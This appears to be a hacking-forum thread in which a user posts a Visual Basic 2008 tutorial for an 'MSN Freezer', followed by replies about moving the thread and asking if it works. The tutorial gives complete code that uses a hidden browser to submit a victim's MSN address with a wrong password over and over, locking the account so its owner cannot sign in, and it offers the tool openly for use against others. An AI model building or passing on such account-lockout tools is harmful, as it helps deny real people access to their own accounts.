[TUT]Visual basic 2008 - Make A MSN Freezer!

[MrKillaCam 1]

Hello GHBSYS,

What are we going to do?

- Making a MSN Freezer.

 

What does a msn freezer does?

- Making an msn account freeze so the MSN Account can't be accesed.

 

What program do i need to make an MSN Freezer?

- For this TUT you will need Visual basic 2008

 

Ok let's start

 

- Open Visual Basic 2008

- Open new project and call it whatever you like

- Make 1 textbox

- Make a checkbox with text "Hide"

- Make 2 buttons with text "Freeze" and "Unfreeze"

- Make a webbrowser with visible set FALSE and set url: "http://mobile.msn.com/hm/folder.phpx".'>http://mobile.msn.com/hm/folder.phpx".

- Make 3labels with label1 text set. "MSN Adress", label2: "Status" and the last one with nothing "".

- Make a timer with Enabled set FALSE and Interval set 100.

- Now double click on the Form and remove all text

Copy and paste this :

 

 

Code:

Imports System.Threading.Thread

Public Class Form1

 

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")

 

End Sub

 

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Timer1.Enabled = True

Label3.Text = "Freezing..."

End Sub

 

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

On Error GoTo errordetected

WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))

WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))

Sleep(2000)

WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")

 

GoTo done

errordetected:

Label3.Text = "Frozen!"

WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")

done:

 

End Sub

 

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

Label3.Text = "Ready"

MsgBox("MSN UnFrozen!")

Timer1.Enabled = False

End Sub

 

Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged

If CheckBox1.Checked = True Then

Me.Hide()

End If

End Sub

End Class

 

 

 

Now you can build the program and use it as a MSN Freezer!!

ENJOY

[sØŋ1Ќ™ 5]

is a c++ area :S, please mod move this topic

[Dr.Php 2]

Wrong section, please move this to the .NET Programming and Visual Basic Area!

Edited May 9, 2011 by Dr.Php

[neils2161 0]

MSN freezer legit?